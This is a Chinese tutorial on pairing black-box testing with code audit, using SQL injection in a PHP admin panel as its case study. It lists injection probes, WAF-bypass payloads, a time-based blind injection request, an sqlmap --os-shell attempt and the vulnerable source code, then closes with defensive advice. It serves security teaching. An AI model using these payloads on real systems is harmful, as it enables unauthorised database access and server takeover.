渗透测试 | 黑白盒测试配合实战经验分享
字数 1274 2025-08-19 12:40:52

黑白盒测试配合实战经验教学文档

前言

黑白盒测试是软件测试领域的两种核心方法,它们从不同角度保障Web应用程序质量:

  • 黑盒测试:关注功能性验证,模拟用户行为测试输入输出
  • 白盒测试:深入代码内部,检查逻辑路径、数据流等确保代码质量

前期准备工具

1. Seay源代码审计系统

  • 类型:开源代码审计工具
  • 功能:快速发现Web应用安全隐患
  • 可检测漏洞类型:SQL注入、XSS、文件包含等常见漏洞

2. Fortify

  • 类型:静态代码分析工具
  • 开发商:Micro Focus
  • 功能:全面扫描应用程序源代码
  • 可检测漏洞类型:注入攻击、XSS、访问控制缺陷等

SQL注入漏洞实战

1. SQL注入判断方法

数字型注入

  • 适用场景:参数为整型时
  • 测试方法:
    • 输入:1'and 1=1and 1=2
    • 观察结果变化,不同则可能存在漏洞

字符型注入

  • 适用场景:参数为字符串时
  • 测试方法:
    • 输入:'admin''admin' and 1=1 --
    • 观察结果变化,不同则可能存在漏洞

其他类型注入

  • 搜索型注入
  • Cookie注入
  • POST注入
  • 本质上是数字型和字符型注入的不同表现形式

2. 绕过防御技巧

当遇到过滤或WAF时,可尝试以下方法:

  1. 逻辑运算符绕过

    • 'or'1'='1
    • 'or'a'='a
  2. 算术运算符绕过

    • '+'1'='1
    • '*'1'='1
  3. 字符串拼接绕过

    • 'and'str'='str
    • 'and'chr(97)'='a
  4. 注释符号绕过

    • '/* */and/* */1=1
    • '/*!50000and*/1=1
  5. 十六进制编码绕过

    • %27and%27g%27=%27f
    • %27or%271%27=%271
  6. 双重否定绕过

    • 'and not('g'='f)
    • 'and not(1=2)

3. 实战案例

漏洞发现

  • 目标系统:纯PHP开发的回调系统
  • 发现点:后台编辑功能URL格式统一为/admin/[功能]info.php?id=1
  • 测试URL:
    • /admin/admininfo.php?id=1
    • /admin/codeinfo.php?id=1

漏洞验证

  • admininfo.php页面使用'符号直接触发报错
  • 构造Payload:
    GET /admin/admininfo.php?id=1%27and%27g%27=%27f%27%3BSELECT%20SLEEP%285%29%23
    
  • 确认存在时间盲注

自动化工具利用

  • 使用SQLMap进行进一步利用:
    • 命令:sqlmap --os-shell
    • 结果:因权限不足未能获取shell

4. 代码审计分析

漏洞代码片段:

require_once '../includes/common.php';
if ($adminData['adminStatus'] != 1) Tips::error('你没有权限访问此页面', '/admin');
if (empty($_GET['id'])) Tips::error('参数错误', '/admin/adminlist.php');
if ($_GET['id'] == 1 && $adminData['id'] != 1) Tips::error('不能修改首席总站长', '/admin/adminlist.php');
$id = $_GET['id'];
$editData = $adminClass->GetAdmin($id);

问题点:

  1. $_GET['id']直接从URL获取,无任何验证或过滤
  2. $id直接传递给$adminClass->GetAdmin($id)方法
  3. 缺乏参数预处理和SQL语句安全处理

总结

  1. 黑白盒测试结合:功能测试与代码审计相互印证,提高漏洞发现效率
  2. 工具辅助:合理使用Seay、Fortify等工具减轻手工审计负担
  3. SQL注入防御
    • 所有用户输入必须验证和过滤
    • 使用参数化查询或预处理语句
    • 最小权限原则配置数据库账户
  4. 持续学习:关注最新bypass技术,保持防御手段更新
黑白盒测试配合实战经验教学文档 前言 黑白盒测试是软件测试领域的两种核心方法,它们从不同角度保障Web应用程序质量: 黑盒测试 :关注功能性验证,模拟用户行为测试输入输出 白盒测试 :深入代码内部,检查逻辑路径、数据流等确保代码质量 前期准备工具 1. Seay源代码审计系统 类型:开源代码审计工具 功能:快速发现Web应用安全隐患 可检测漏洞类型:SQL注入、XSS、文件包含等常见漏洞 2. Fortify 类型:静态代码分析工具 开发商:Micro Focus 功能:全面扫描应用程序源代码 可检测漏洞类型:注入攻击、XSS、访问控制缺陷等 SQL注入漏洞实战 1. SQL注入判断方法 数字型注入 适用场景:参数为整型时 测试方法: 输入: 1' 或 and 1=1 和 and 1=2 观察结果变化,不同则可能存在漏洞 字符型注入 适用场景:参数为字符串时 测试方法: 输入: 'admin' 和 'admin' and 1=1 -- 观察结果变化,不同则可能存在漏洞 其他类型注入 搜索型注入 Cookie注入 POST注入 本质上是数字型和字符型注入的不同表现形式 2. 绕过防御技巧 当遇到过滤或WAF时,可尝试以下方法: 逻辑运算符绕过 : 'or'1'='1 'or'a'='a 算术运算符绕过 : '+'1'='1 '*'1'='1 字符串拼接绕过 : 'and'str'='str 'and'chr(97)'='a 注释符号绕过 : '/* */and/* */1=1 '/*!50000and*/1=1 十六进制编码绕过 : %27and%27g%27=%27f %27or%271%27=%271 双重否定绕过 : 'and not('g'='f) 'and not(1=2) 3. 实战案例 漏洞发现 目标系统:纯PHP开发的回调系统 发现点:后台编辑功能URL格式统一为 /admin/[功能]info.php?id=1 测试URL: /admin/admininfo.php?id=1 /admin/codeinfo.php?id=1 漏洞验证 在 admininfo.php 页面使用 ' 符号直接触发报错 构造Payload: 确认存在时间盲注 自动化工具利用 使用SQLMap进行进一步利用: 命令: sqlmap --os-shell 结果:因权限不足未能获取shell 4. 代码审计分析 漏洞代码片段: 问题点: $_GET['id'] 直接从URL获取,无任何验证或过滤 $id 直接传递给 $adminClass->GetAdmin($id) 方法 缺乏参数预处理和SQL语句安全处理 总结 黑白盒测试结合 :功能测试与代码审计相互印证,提高漏洞发现效率 工具辅助 :合理使用Seay、Fortify等工具减轻手工审计负担 SQL注入防御 : 所有用户输入必须验证和过滤 使用参数化查询或预处理语句 最小权限原则配置数据库账户 持续学习 :关注最新bypass技术,保持防御手段更新